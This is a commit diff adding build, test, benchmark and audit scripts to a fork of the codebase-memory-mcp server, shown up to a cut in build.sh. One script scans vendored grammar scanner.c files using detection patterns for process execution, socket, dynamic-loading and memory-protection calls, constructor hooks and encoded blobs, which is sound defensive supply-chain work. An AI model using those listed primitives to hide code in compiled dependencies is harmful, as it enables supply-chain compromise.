初始提交:codebase-memory-mcp - Codebase Memory MCP Server
Fork from https://github.com/DeusData/codebase-memory-mcp Go 实现,提供代码库记忆功能的 MCP 服务器
This commit is contained in:
@@ -0,0 +1,65 @@
|
||||
# scripts/ — the canonical leg entries
|
||||
|
||||
**The doctrine (enforced, not advisory):** *a venue may provision a machine;
|
||||
only a canonical leg script may exercise the product.* Local CI, PR CI, the
|
||||
dry run and the release all call the SAME files below — venues differ only in
|
||||
host specs, architecture and inputs, never in what a leg does. Platform
|
||||
differences (arm64 sanitizer flags, the Windows launcher, the linux portable
|
||||
binary) live INSIDE these scripts, once, never per-venue.
|
||||
`tests/test_venue_parity_contract.sh` (run as Step 0j of every test leg) turns
|
||||
any violation — inline harness logic in a workflow, a bypassed wrapper, a
|
||||
missing `--help` — into a red build.
|
||||
|
||||
Every entry answers `--help` (authoritative, agent-oriented: modes, env, exit
|
||||
codes) and rejects unknown flags with exit 2 + `Please consult --help.`
|
||||
|
||||
## The legs
|
||||
|
||||
| leg | entry | what a run gives you |
|
||||
|---|---|---|
|
||||
| **test** | `test.sh` | DEFAULT = the venue leg: static contracts (Step 0a–0j) + CLEAN ASan+UBSan build + all suites via the parallel harness + prod-binary guards. `--suites a,b` = iteration mode (incremental rebuild, subset, seconds). `--tsan` = the ThreadSanitizer leg. CLANGARM64 gets CI's trap-UBSan flags automatically. |
|
||||
| **build** | `build.sh` | CLEAN production build (+ launcher on Windows). ccache via `env.sh` makes repeats fast; `CCACHE_COMPILERCHECK=content` guarantees a hit is byte-identical to a cold compile — never stale. `--with-ui`, `--version`, `STATIC=1`, `BUILD_DIR=`. |
|
||||
| **lint** | `lint.sh` | clang-tidy + cppcheck + clang-format (+ no-skips policy). `--ci` = the CI gate set (no clang-tidy). Drives the same make targets as `make lint`/`lint-ci`. |
|
||||
| **smoke (unix)** | `smoke-local.sh` | Stages a full release fixture, serves it on a kernel-assigned port, runs `smoke-test.sh` (ALL phases incl. download/install/update E2E) inside a disposable HOME/XDG/TMP sandbox. `ui` variant makes a missing embedded UI a FAILURE. `CBM_SMOKE_ARTIFACT_DIR` = smoke an extracted release artifact verbatim (release mode). |
|
||||
| **smoke (windows)** | `../test-infrastructure/vm/vm-smoke.sh` | Same contract for the launcher+payload pair, plus the user-PATH registry guard (prepare/verify/cleanup). |
|
||||
| **smoke-invariants** | `smoke-invariants.sh` | The "shipped binary does not fail" battery (MCP handshake, all tools invocable, malformed-input resilience) — no fixture server, no install E2E. `smoke.yml` runs it on the WIDEST build-from-source matrix (incl. older-glibc legs the release artifacts cannot cover). |
|
||||
| **soak** | `soak-legs.sh` | The release-gating soak SEQUENCE: `quick` then `query-leak` (the #581 detector — never reindexes, so RSS growth = query-path leak), each guarded by a completion-summary check. `--legs quick` for the ASan single-leg variant. Duration is per leg. |
|
||||
|
||||
Internal harnesses — never called directly by a venue (the contract forbids
|
||||
it): `smoke-test.sh` (phases; wrappers provide fixture server + sandbox),
|
||||
`soak-test.sh` (one soak run; `soak-legs.sh` provides the sequence + guards),
|
||||
`run-tests-parallel.sh` (reached through `test.sh`).
|
||||
|
||||
## Conventions
|
||||
|
||||
- **Exit codes:** 0 = pass · 2 = usage error · 90 = guard (a run died without
|
||||
its completion summary — never counts as green) · anything else = the leg's
|
||||
real failure.
|
||||
- **Iteration is a flag, not a side-tool:** the fast paths (`--suites`,
|
||||
`--legs`) are modes of the SAME entry the gates run, so a dev loop can never
|
||||
drift from the venue behaviour.
|
||||
- **Env sandboxing:** the smoke wrappers neutralize every agent-config
|
||||
destination override; a smoke can never scribble on your real config.
|
||||
|
||||
## Recommended workflows
|
||||
|
||||
- **Iterating on a change:** `scripts/test.sh --suites <suite>` (seconds,
|
||||
incremental, same ASan+UBSan flags as the gate). List suites:
|
||||
`build/c/test-runner --list-suites`. Debugging a Windows-on-ARM trap:
|
||||
re-run with `SANITIZE=` for a plain build, or use the emulated
|
||||
`win.sh ubsan-*` pair for full diagnostics.
|
||||
- **Before any push (the 3-OS ladder):** `scripts/test.sh` (macOS, full) →
|
||||
`./test-infrastructure/run.sh full` (Linux + TSan + smoke) →
|
||||
`test-infrastructure/vm/win.sh test-par` + `guards` + `smoke-install`
|
||||
(+ `soak` when the change touches memory/daemon paths).
|
||||
- **Concurrency-touching change:** add `scripts/test.sh --tsan` early — the
|
||||
same leg CI gates on.
|
||||
- **Release-shaped verification:** `CBM_SMOKE_ARTIFACT_DIR=<extracted artifact>
|
||||
scripts/smoke-local.sh <binary> [ui]` smokes exactly what would ship.
|
||||
- **A leg is red in CI but green locally:** first suspect environment shape,
|
||||
not code — the preflights (`win.sh` automatic; `scripts/ci/preflight-docker.sh`)
|
||||
and `test-infrastructure/README.md`'s residuals list cover the knowable
|
||||
differences.
|
||||
|
||||
See `scripts/ci/README.md` for the CI plumbing and
|
||||
`test-infrastructure/README.md` for the venue map.
|
||||
@@ -0,0 +1,116 @@
|
||||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
|
||||
# audit-grammar-security.sh — Scan vendored tree-sitter grammar scanner.c
|
||||
# files for dangerous patterns that could indicate malicious code.
|
||||
#
|
||||
# Grammars are third-party C source compiled into our binary. parser.c files
|
||||
# are auto-generated (low risk), but scanner.c files are hand-written C with
|
||||
# access to memory allocation and input text.
|
||||
#
|
||||
# Usage: scripts/audit-grammar-security.sh [directory]
|
||||
# Default: internal/cbm/vendored/grammars/
|
||||
|
||||
ROOT="$(cd "$(dirname "$0")/.." && pwd)"
|
||||
GRAMMAR_DIR="${1:-$ROOT/internal/cbm/vendored/grammars}"
|
||||
|
||||
if [ ! -d "$GRAMMAR_DIR" ]; then
|
||||
echo "ERROR: directory not found: $GRAMMAR_DIR" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "=== Grammar Security Audit ==="
|
||||
echo "Scanning: $GRAMMAR_DIR"
|
||||
echo ""
|
||||
|
||||
TOTAL=0
|
||||
WARNED=0
|
||||
BLOCKED=0
|
||||
|
||||
# Safe includes that scanners legitimately use
|
||||
SAFE_INCLUDES='string\.h|stdint\.h|stdbool\.h|stdlib\.h|wctype\.h|stdio\.h|stddef\.h|limits\.h|assert\.h|ctype\.h|wchar\.h|math\.h|stdalign\.h|stdarg\.h|float\.h|inttypes\.h'
|
||||
|
||||
# Dangerous includes
|
||||
DANGER_INCLUDES='unistd\.h|sys/|netdb\.h|dlfcn\.h|signal\.h|spawn\.h|pthread\.h|fcntl\.h|dirent\.h|termios\.h|arpa/|netinet/'
|
||||
|
||||
# Dangerous function calls (word-boundary \b to avoid matching lex_accept, etc.)
|
||||
# getenv("TREE_SITTER_DEBUG") is a standard tree-sitter pattern, excluded.
|
||||
DANGER_CALLS='\bsystem\s*\(|\bexec[lvpe]+\s*\(|\bpopen\s*\(|\bfopen\s*\(|\bfwrite\s*\(|\bsocket\s*\(|\bfork\s*\(|\bdlopen\s*\(|\bconnect\s*\(|\bbind\s*\(|\blisten\s*\(|\bsendto\s*\(|\brecvfrom\s*\(|\bmmap\s*\(|\bmprotect\s*\('
|
||||
# getenv is only dangerous for non-debug uses
|
||||
DANGER_GETENV='\bgetenv\s*\('
|
||||
SAFE_GETENV='TREE_SITTER_DEBUG'
|
||||
|
||||
# Suspicious patterns
|
||||
SUSPICIOUS='__attribute__\s*\(\s*\(\s*constructor|__attribute__\s*\(\s*\(\s*destructor|asm\s*\(|__asm__|__asm\b'
|
||||
|
||||
for grammar_dir in "$GRAMMAR_DIR"/*/; do
|
||||
name=$(basename "$grammar_dir")
|
||||
TOTAL=$((TOTAL + 1))
|
||||
issues=""
|
||||
|
||||
for src in "$grammar_dir"scanner.c "$grammar_dir"scanner.cc "$grammar_dir"*.h "$grammar_dir"*.inc; do
|
||||
[ -f "$src" ] || continue
|
||||
basename_src=$(basename "$src")
|
||||
|
||||
# Skip tree_sitter/ subdirectory headers (those are standard)
|
||||
case "$src" in
|
||||
*/tree_sitter/*) continue ;;
|
||||
esac
|
||||
|
||||
# Check dangerous includes
|
||||
while IFS= read -r line; do
|
||||
issues="${issues} WARN $basename_src: dangerous include: $line\n"
|
||||
done < <(grep -nE "#include\s*<($DANGER_INCLUDES)" "$src" 2>/dev/null || true)
|
||||
|
||||
# Check dangerous calls
|
||||
while IFS= read -r line; do
|
||||
issues="${issues} BLOCK $basename_src: dangerous call: $line\n"
|
||||
done < <(grep -nE "$DANGER_CALLS" "$src" 2>/dev/null || true)
|
||||
|
||||
# Check getenv separately (allow TREE_SITTER_DEBUG)
|
||||
while IFS= read -r line; do
|
||||
if ! echo "$line" | grep -qF "$SAFE_GETENV"; then
|
||||
issues="${issues} BLOCK $basename_src: dangerous call: $line\n"
|
||||
fi
|
||||
done < <(grep -nE "$DANGER_GETENV" "$src" 2>/dev/null || true)
|
||||
|
||||
# Check suspicious patterns
|
||||
while IFS= read -r line; do
|
||||
issues="${issues} BLOCK $basename_src: suspicious pattern: $line\n"
|
||||
done < <(grep -nE "$SUSPICIOUS" "$src" 2>/dev/null || true)
|
||||
|
||||
# Check for base64-like long encoded strings (40+ alphanumeric chars)
|
||||
while IFS= read -r line; do
|
||||
issues="${issues} WARN $basename_src: possible encoded data: $line\n"
|
||||
done < <(grep -nE '"[A-Za-z0-9+/]{60,}={0,2}"' "$src" 2>/dev/null || true)
|
||||
done
|
||||
|
||||
if [ -n "$issues" ]; then
|
||||
if echo -e "$issues" | grep -q "BLOCK"; then
|
||||
echo "BLOCK $name:"
|
||||
echo -e "$issues"
|
||||
BLOCKED=$((BLOCKED + 1))
|
||||
else
|
||||
echo "WARN $name:"
|
||||
echo -e "$issues"
|
||||
WARNED=$((WARNED + 1))
|
||||
fi
|
||||
fi
|
||||
done
|
||||
|
||||
echo "────────────────────────────────────────────"
|
||||
echo " Scanned: $TOTAL grammars"
|
||||
echo " Clean: $((TOTAL - WARNED - BLOCKED))"
|
||||
echo " Warned: $WARNED"
|
||||
echo " Blocked: $BLOCKED"
|
||||
echo "────────────────────────────────────────────"
|
||||
|
||||
if [ "$BLOCKED" -gt 0 ]; then
|
||||
echo ""
|
||||
echo "FAILED: $BLOCKED grammar(s) have dangerous patterns. Review before vendoring."
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo ""
|
||||
echo "PASSED: No dangerous patterns found."
|
||||
exit 0
|
||||
@@ -0,0 +1,226 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Byte-identity audit: compare every vendored license file against upstream.
|
||||
|
||||
Verdicts:
|
||||
IDENTICAL byte-equal to the upstream default-branch license
|
||||
IDENTICAL@PINNED byte-equal to the license at the manifest's pinned commit
|
||||
FIRST-PARTY-OK byte-equal to the project root LICENSE
|
||||
FIRST-PARTY-VAR first-party but text differs from root LICENSE (inspect)
|
||||
DIFFERS no byte-equal upstream candidate found (inspect)
|
||||
ERROR upstream fetch failed
|
||||
"""
|
||||
import base64
|
||||
import json
|
||||
import os
|
||||
import re
|
||||
import subprocess
|
||||
import sys
|
||||
|
||||
ROOT = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
|
||||
GRAMMARS = os.path.join(ROOT, "internal/cbm/vendored/grammars")
|
||||
|
||||
FIRST_PARTY = {"cobol", "form", "janet", "magma", "protobuf", "wolfram"}
|
||||
FORKS = { # self-maintained forks: vendored LICENSE must match the original upstream
|
||||
"cfml": "cfmleditor/tree-sitter-cfml",
|
||||
"cfscript": "cfmleditor/tree-sitter-cfml",
|
||||
"dotenv": "pnx/tree-sitter-dotenv",
|
||||
"qml": "yuja/tree-sitter-qmljs",
|
||||
}
|
||||
SPECIAL_NOTICE = {
|
||||
"assembly": "RETAINED-MIT (upstream RubixDev/tree-sitter-assembly deleted from GitHub)",
|
||||
"pine": "PROVENANCE-NOTICE (upstream kvarenzn/tree-sitter-pine declares ISC, ships no license file)",
|
||||
}
|
||||
DISAGREEMENT = {
|
||||
"jinja2": "dbt-labs/tree-sitter-jinja2",
|
||||
"just": "casey/tree-sitter-just",
|
||||
"move": "tzakian/tree-sitter-move",
|
||||
"sshconfig": "ObserverOfTime/tree-sitter-ssh-config",
|
||||
"zsh": "georgeharker/tree-sitter-zsh",
|
||||
}
|
||||
LIBS = {
|
||||
"vendored/mimalloc": ("microsoft/mimalloc", None),
|
||||
"vendored/tre": ("laurikari/tre", None),
|
||||
"vendored/xxhash": ("Cyan4973/xxHash", None),
|
||||
"vendored/yyjson": ("ibireme/yyjson", None),
|
||||
"internal/cbm/vendored/lz4": ("lz4/lz4", "lib/LICENSE"),
|
||||
"internal/cbm/vendored/zstd": ("facebook/zstd", None),
|
||||
"internal/cbm/vendored/simplecpp": ("danmar/simplecpp", None),
|
||||
"internal/cbm/vendored/verstable": ("JacksonAllan/Verstable", None),
|
||||
"internal/cbm/vendored/wyhash": ("wangyi-fudan/wyhash", None),
|
||||
"internal/cbm/vendored/ts_runtime": ("tree-sitter/tree-sitter", None),
|
||||
"internal/cbm/vendored/common": ("tree-sitter/tree-sitter-html", None),
|
||||
"internal/cbm/vendored/common/tree_sitter": ("tree-sitter/tree-sitter", None),
|
||||
}
|
||||
CANDIDATE_NAMES = ["LICENSE", "LICENSE.md", "LICENSE.txt", "COPYING",
|
||||
"COPYING.txt", "LICENSE-MIT", "UNLICENSE", "LICENCE",
|
||||
"license", "License.txt", "NOTICE"]
|
||||
|
||||
|
||||
def gh_api(path):
|
||||
r = subprocess.run(["gh", "api", path], capture_output=True, text=True)
|
||||
if r.returncode != 0:
|
||||
return None
|
||||
return r.stdout
|
||||
|
||||
|
||||
def upstream_default_license(repo):
|
||||
out = gh_api(f"repos/{repo}/license")
|
||||
if not out:
|
||||
return None
|
||||
try:
|
||||
d = json.loads(out)
|
||||
return base64.b64decode(d.get("content", "")).decode("utf-8", "replace")
|
||||
except Exception:
|
||||
return None
|
||||
|
||||
|
||||
def upstream_file(repo, path, ref=None):
|
||||
url = f"repos/{repo}/contents/{path}"
|
||||
if ref:
|
||||
url += f"?ref={ref}"
|
||||
out = gh_api(url)
|
||||
if not out:
|
||||
return None
|
||||
try:
|
||||
d = json.loads(out)
|
||||
if isinstance(d, dict) and d.get("content"):
|
||||
return base64.b64decode(d["content"]).decode("utf-8", "replace")
|
||||
except Exception:
|
||||
pass
|
||||
return None
|
||||
|
||||
|
||||
def local_license(dirpath):
|
||||
if not os.path.isdir(dirpath):
|
||||
return None, None
|
||||
for f in sorted(os.listdir(dirpath)):
|
||||
if re.match(r"^(LICENSE|LICENCE|COPYING|UNLICENSE)", f, re.I):
|
||||
p = os.path.join(dirpath, f)
|
||||
with open(p, encoding="utf-8", errors="replace") as fh:
|
||||
return f, fh.read()
|
||||
return None, None
|
||||
|
||||
|
||||
def parse_manifest():
|
||||
"""grammar -> (repo, pinned_commit) from the verified-upstream table."""
|
||||
out = {}
|
||||
with open(os.path.join(GRAMMARS, "MANIFEST.md"), encoding="utf-8") as fh:
|
||||
for line in fh:
|
||||
m = re.match(
|
||||
r"^\| (\w[\w.+-]*) \| \d+ \| ([\w.-]+/[\w.-]+) \| `([^`]+)` \|", line)
|
||||
if m:
|
||||
out[m.group(1)] = (m.group(2), m.group(3))
|
||||
return out
|
||||
|
||||
|
||||
def main():
|
||||
with open(os.path.join(ROOT, "LICENSE"), encoding="utf-8") as fh:
|
||||
root_license = fh.read()
|
||||
|
||||
manifest = parse_manifest()
|
||||
results = {}
|
||||
|
||||
def check_upstream(key, dirpath, repo, pinned=None, exact_path=None):
|
||||
fname, ours = local_license(dirpath)
|
||||
if ours is None:
|
||||
results[key] = ("NO-LOCAL-LICENSE", "")
|
||||
return
|
||||
# 1) exact upstream path (e.g. lz4 lib/LICENSE), at HEAD then pinned
|
||||
if exact_path:
|
||||
for ref in (None, pinned):
|
||||
up = upstream_file(repo, exact_path, ref)
|
||||
if up is not None and up == ours:
|
||||
results[key] = ("IDENTICAL" if ref is None else "IDENTICAL@PINNED",
|
||||
f"{repo}:{exact_path}")
|
||||
return
|
||||
# 2) default-branch detected license
|
||||
up = upstream_default_license(repo)
|
||||
if up is not None and up == ours:
|
||||
results[key] = ("IDENTICAL", f"{repo} (default branch)")
|
||||
return
|
||||
# 3) pinned-commit candidates by filename
|
||||
if pinned:
|
||||
tried = [fname] + [c for c in CANDIDATE_NAMES if c != fname]
|
||||
for cand in tried:
|
||||
up2 = upstream_file(repo, cand, pinned)
|
||||
if up2 is not None and up2 == ours:
|
||||
results[key] = ("IDENTICAL@PINNED", f"{repo}:{cand}@{pinned}")
|
||||
return
|
||||
# 4) HEAD candidates by filename
|
||||
for cand in CANDIDATE_NAMES:
|
||||
up3 = upstream_file(repo, cand)
|
||||
if up3 is not None and up3 == ours:
|
||||
results[key] = ("IDENTICAL", f"{repo}:{cand} (default branch)")
|
||||
return
|
||||
results[key] = ("DIFFERS" if up is not None else "ERROR", f"{repo}")
|
||||
|
||||
# Libraries
|
||||
for rel, (repo, exact) in LIBS.items():
|
||||
check_upstream(rel, os.path.join(ROOT, rel), repo, exact_path=exact)
|
||||
|
||||
# Special: nomic = canonical Apache-2.0 text; sqlite3 = first-party notice
|
||||
fname, ours = local_license(os.path.join(ROOT, "vendored/nomic"))
|
||||
apache = subprocess.run(
|
||||
["curl", "-fsSL", "https://www.apache.org/licenses/LICENSE-2.0.txt"],
|
||||
capture_output=True, text=True).stdout
|
||||
results["vendored/nomic"] = (
|
||||
"IDENTICAL" if ours == apache else "DIFFERS",
|
||||
"apache.org canonical LICENSE-2.0.txt")
|
||||
results["vendored/sqlite3"] = ("FIRST-PARTY-NOTICE",
|
||||
"own public-domain notice (sqlite has no upstream LICENSE)")
|
||||
|
||||
# Grammars
|
||||
for g in sorted(os.listdir(GRAMMARS)):
|
||||
d = os.path.join(GRAMMARS, g)
|
||||
if not os.path.isdir(d):
|
||||
continue
|
||||
key = f"grammars/{g}"
|
||||
if g in FIRST_PARTY:
|
||||
fname, ours = local_license(d)
|
||||
if ours == root_license:
|
||||
results[key] = ("FIRST-PARTY-OK", "== project root LICENSE")
|
||||
else:
|
||||
results[key] = ("FIRST-PARTY-VAR", f"{fname}: differs from root LICENSE")
|
||||
continue
|
||||
if g in FORKS:
|
||||
check_upstream(key, d, FORKS[g])
|
||||
continue
|
||||
if g in SPECIAL_NOTICE:
|
||||
results[key] = ("MANUAL-VERIFIED", SPECIAL_NOTICE[g])
|
||||
continue
|
||||
if g in DISAGREEMENT:
|
||||
check_upstream(key, d, DISAGREEMENT[g])
|
||||
continue
|
||||
if g in manifest:
|
||||
repo, pinned = manifest[g]
|
||||
check_upstream(key, d, repo, pinned=pinned)
|
||||
continue
|
||||
results[key] = ("NO-MANIFEST-ENTRY", "")
|
||||
|
||||
# Report
|
||||
from collections import Counter
|
||||
counts = Counter(v[0] for v in results.values())
|
||||
print("=== verdict histogram ===")
|
||||
for k, v in counts.most_common():
|
||||
print(f" {k}: {v}")
|
||||
print()
|
||||
print("=== everything that is NOT byte-identical ===")
|
||||
for key in sorted(results):
|
||||
verdict, detail = results[key]
|
||||
if verdict not in ("IDENTICAL", "IDENTICAL@PINNED", "FIRST-PARTY-OK"):
|
||||
print(f" {key}: {verdict} [{detail}]")
|
||||
json.dump({k: list(v) for k, v in results.items()},
|
||||
open("/tmp/audit_licenses_results.json", "w"), indent=1)
|
||||
print("\nfull results: /tmp/audit_licenses_results.json")
|
||||
|
||||
accepted = {"IDENTICAL", "IDENTICAL@PINNED", "FIRST-PARTY-OK",
|
||||
"FIRST-PARTY-NOTICE", "MANUAL-VERIFIED"}
|
||||
bad = {k: v for k, v in results.items() if v[0] not in accepted}
|
||||
if bad:
|
||||
print(f"\nPROVENANCE AUDIT FAILED: {len(bad)} unexplained verdict(s)")
|
||||
sys.exit(1)
|
||||
print("\nPROVENANCE AUDIT PASSED: every vendored license accounted for")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,82 @@
|
||||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
|
||||
# Index a single benchmark repository and capture metrics.
|
||||
# Usage: benchmark-index.sh <binary> <lang> <repo_path> <results_dir>
|
||||
|
||||
BINARY="${1:?Usage: benchmark-index.sh <binary> <lang> <repo_path> <results_dir>}"
|
||||
LANG="${2:?}"
|
||||
REPO="${3:?}"
|
||||
RESULTS_DIR="${4:?}"
|
||||
|
||||
# Resolve symlinks
|
||||
REPO=$(cd "$REPO" && pwd -P)
|
||||
|
||||
OUT="$RESULTS_DIR/$LANG"
|
||||
mkdir -p "$OUT"
|
||||
|
||||
echo "INDEX: $LANG ($REPO)"
|
||||
|
||||
# Count source files and LOC (exclude .git, vendor, node_modules, build dirs)
|
||||
FILE_COUNT=$(find "$REPO" -type f \
|
||||
! -path '*/.git/*' ! -path '*/node_modules/*' ! -path '*/vendor/*' \
|
||||
! -path '*/target/*' ! -path '*/build/*' ! -path '*/dist/*' \
|
||||
! -path '*/__pycache__/*' ! -path '*/.cache/*' \
|
||||
| wc -l | tr -d ' ')
|
||||
|
||||
LOC=$(find "$REPO" -type f \
|
||||
! -path '*/.git/*' ! -path '*/node_modules/*' ! -path '*/vendor/*' \
|
||||
! -path '*/target/*' ! -path '*/build/*' ! -path '*/dist/*' \
|
||||
! -path '*/__pycache__/*' ! -path '*/.cache/*' \
|
||||
-exec cat {} + 2>/dev/null | wc -l | tr -d ' ')
|
||||
|
||||
echo "$FILE_COUNT" > "$OUT/file-count.txt"
|
||||
echo "$LOC" > "$OUT/loc.txt"
|
||||
|
||||
# Index via CLI and capture timing
|
||||
START_MS=$(python3 -c "import time; print(int(time.time()*1000))")
|
||||
|
||||
INDEX_JSON=$("$BINARY" cli index_repository "{\"repo_path\":\"$REPO\",\"mode\":\"full\"}" 2>/dev/null || echo '{"error":"index failed"}')
|
||||
|
||||
END_MS=$(python3 -c "import time; print(int(time.time()*1000))")
|
||||
ELAPSED=$((END_MS - START_MS))
|
||||
|
||||
echo "$INDEX_JSON" > "$OUT/00-index.json"
|
||||
echo "$ELAPSED" > "$OUT/index-time.txt"
|
||||
|
||||
# Extract node/edge counts (CLI wraps in MCP content envelope)
|
||||
NODES=$(echo "$INDEX_JSON" | python3 -c "
|
||||
import json,sys
|
||||
d=json.load(sys.stdin)
|
||||
# Unwrap MCP content envelope if present
|
||||
if 'content' in d:
|
||||
inner=json.loads(d['content'][0]['text'])
|
||||
else:
|
||||
inner=d
|
||||
print(inner.get('nodes',0))
|
||||
" 2>/dev/null || echo "0")
|
||||
EDGES=$(echo "$INDEX_JSON" | python3 -c "
|
||||
import json,sys
|
||||
d=json.load(sys.stdin)
|
||||
if 'content' in d:
|
||||
inner=json.loads(d['content'][0]['text'])
|
||||
else:
|
||||
inner=d
|
||||
print(inner.get('edges',0))
|
||||
" 2>/dev/null || echo "0")
|
||||
PROJECT=$(echo "$INDEX_JSON" | python3 -c "
|
||||
import json,sys
|
||||
d=json.load(sys.stdin)
|
||||
if 'content' in d:
|
||||
inner=json.loads(d['content'][0]['text'])
|
||||
else:
|
||||
inner=d
|
||||
print(inner.get('project',''))
|
||||
" 2>/dev/null || echo "")
|
||||
|
||||
echo "$NODES" > "$OUT/nodes.txt"
|
||||
echo "$EDGES" > "$OUT/edges.txt"
|
||||
echo "$PROJECT" > "$OUT/project.txt"
|
||||
|
||||
printf " %s: %s files, %s LOC, %sms, %s nodes, %s edges\n" \
|
||||
"$LANG" "$FILE_COUNT" "$LOC" "$ELAPSED" "$NODES" "$EDGES"
|
||||
@@ -0,0 +1,63 @@
|
||||
#!/usr/bin/env bash
|
||||
# benchmark-search-graph.sh — Time search_graph name_pattern= queries against a
|
||||
# codebase-memory-mcp binary to measure the regex / LIKE pre-filter performance.
|
||||
#
|
||||
# Usage:
|
||||
# scripts/benchmark-search-graph.sh <binary-path> <project-name>
|
||||
#
|
||||
# Example:
|
||||
# scripts/benchmark-search-graph.sh ./build/c/codebase-memory-mcp my-project
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
BINARY="${1:?Usage: $0 <binary-path> <project-name>}"
|
||||
PROJECT="${2:?Usage: $0 <binary-path> <project-name>}"
|
||||
|
||||
echo "Binary: $BINARY"
|
||||
echo "Project: $PROJECT"
|
||||
echo ""
|
||||
|
||||
run_case() {
|
||||
local label="$1"
|
||||
local request="$2"
|
||||
local start end elapsed_ms result
|
||||
|
||||
start=$(date +%s%3N)
|
||||
result=$(echo "$request" | "$BINARY" 2>/dev/null || true)
|
||||
end=$(date +%s%3N)
|
||||
elapsed_ms=$(( end - start ))
|
||||
|
||||
local count
|
||||
count=$(echo "$result" | python3 -c "
|
||||
import sys, json
|
||||
try:
|
||||
d = json.load(sys.stdin)
|
||||
content = d.get('result', {}).get('content', [{}])[0].get('text', '{}')
|
||||
obj = json.loads(content)
|
||||
print(obj.get('total', obj.get('count', '?')))
|
||||
except Exception:
|
||||
print('?')
|
||||
" 2>/dev/null || echo "?")
|
||||
|
||||
printf " %-55s %5dms (total=%s)\n" "$label" "$elapsed_ms" "$count"
|
||||
}
|
||||
|
||||
sg() {
|
||||
local project="$1"
|
||||
local args="$2"
|
||||
printf '{"jsonrpc":"2.0","id":1,"method":"tools/call","params":{"name":"search_graph","arguments":{"project":"%s",%s}}}' \
|
||||
"$project" "$args"
|
||||
}
|
||||
|
||||
echo "=== search_graph name_pattern= benchmarks ==="
|
||||
run_case "name_pattern=.*Controller.*" "$(sg "$PROJECT" '"name_pattern":".*Controller.*","limit":20')"
|
||||
run_case "name_pattern=.*Service.*" "$(sg "$PROJECT" '"name_pattern":".*Service.*","limit":20')"
|
||||
run_case "name_pattern=.*Repository.*" "$(sg "$PROJECT" '"name_pattern":".*Repository.*","limit":20')"
|
||||
run_case "name_pattern=specificFunctionName" "$(sg "$PROJECT" '"name_pattern":"specificFunctionName","limit":20')"
|
||||
run_case "label=Method + name_pattern=.*get.*" "$(sg "$PROJECT" '"label":"Method","name_pattern":".*get.*","limit":20')"
|
||||
|
||||
echo ""
|
||||
echo "=== search_graph query= benchmarks (BM25 path) ==="
|
||||
run_case "query=controller service handler" "$(sg "$PROJECT" '"query":"controller service handler","limit":20')"
|
||||
run_case "query=user authentication permission role" "$(sg "$PROJECT" '"query":"user authentication permission role","limit":20')"
|
||||
run_case "query=create update delete manage list view admin" "$(sg "$PROJECT" '"query":"create update delete manage list view admin","limit":20')"
|
||||
@@ -0,0 +1,159 @@
|
||||
#!/usr/bin/env bash
|
||||
# build.sh — Clean build of production binary (standard or with UI).
|
||||
#
|
||||
# Usage:
|
||||
# scripts/build.sh # Standard binary
|
||||
# scripts/build.sh --with-ui # Binary with embedded UI
|
||||
# scripts/build.sh --help # Full usage
|
||||
# scripts/build.sh --version v0.8.0 # With version stamp
|
||||
# scripts/build.sh --arch x86_64 # Force x86_64 build
|
||||
# scripts/build.sh CC=gcc-14 CXX=g++-14 # Override compiler
|
||||
#
|
||||
# This script is the SINGLE source of truth for building release binaries.
|
||||
# Used identically in local development and CI workflows.
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
ROOT="$(cd "$(dirname "$0")/.." && pwd)"
|
||||
cd "$ROOT"
|
||||
|
||||
usage() {
|
||||
cat <<'EOF'
|
||||
Usage: scripts/build.sh [--with-ui] [--version V] [--arch ARCH] [VAR=VAL ...]
|
||||
|
||||
The canonical production-build entry: identical in local CI, PR CI, dry run
|
||||
and release. Always a CLEAN build of BUILD_DIR (build/c by default) — the
|
||||
content-verified compiler cache (ccache via scripts/env.sh) makes repeat
|
||||
builds fast without ever reusing a stale object: every object is re-derived
|
||||
from current sources; a cache hit is byte-identical to a cold compile by
|
||||
construction (CCACHE_COMPILERCHECK=content).
|
||||
|
||||
Options:
|
||||
--with-ui Embed the web UI (builds the frontend first; needs node).
|
||||
--version V Stamp the version string (release venue passes the tag).
|
||||
--arch ARCH Force target arch (arm64 | x86_64), e.g. under Rosetta.
|
||||
-h, --help This text.
|
||||
|
||||
Make passthrough (VAR=VAL, forwarded verbatim):
|
||||
CC= CXX= Compiler override (venues pass their matrix compiler).
|
||||
BUILD_DIR= Build in an isolated directory — REQUIRED when a clean
|
||||
product build must not wipe build/c's test-runner (e.g.
|
||||
build/smoke for the local ladder smoke).
|
||||
STATIC=1 Fully static portable build (Alpine/musl leg).
|
||||
EXTRA_CFLAGS= EXTRA_LDFLAGS= Sanitizer soak builds (see _soak.yml).
|
||||
|
||||
Environment:
|
||||
CBM_NO_CCACHE=1 Disable the compiler cache (build correctness is identical;
|
||||
only speed changes).
|
||||
|
||||
Callers: _build.yml (all release artifacts) · pr.yml pr-smoke · every
|
||||
docker-compose build/smoke service · win.sh build (Windows VM ladder).
|
||||
EOF
|
||||
}
|
||||
for arg in "$@"; do
|
||||
case "$arg" in
|
||||
-h|--help) usage; exit 0 ;;
|
||||
esac
|
||||
done
|
||||
|
||||
# Pre-parse --arch flag before sourcing env.sh
|
||||
for arg in "$@"; do
|
||||
case "$arg" in
|
||||
--arch=*) export CBM_ARCH="${arg#--arch=}" ;;
|
||||
esac
|
||||
done
|
||||
prev_arg=""
|
||||
for arg in "$@"; do
|
||||
if [[ "${prev_arg:-}" == "--arch" ]]; then
|
||||
export CBM_ARCH="$arg"
|
||||
fi
|
||||
prev_arg="$arg"
|
||||
done
|
||||
|
||||
# shellcheck source=env.sh
|
||||
source "$ROOT/scripts/env.sh"
|
||||
# shellcheck source=path-safety.sh
|
||||
source "$ROOT/scripts/path-safety.sh"
|
||||
|
||||
# Parse remaining arguments. BUILD_DIR is tracked for the clean step below so
|
||||
# containerized legs can build in their own directory instead of deleting and
|
||||
# clobbering the host's native build/c artifacts.
|
||||
WITH_UI=false
|
||||
VERSION=""
|
||||
BUILD_DIR="build/c"
|
||||
EXTRA_MAKE_ARGS=()
|
||||
|
||||
prev_arg=""
|
||||
for arg in "$@"; do
|
||||
# Skip --arch and its value (already handled)
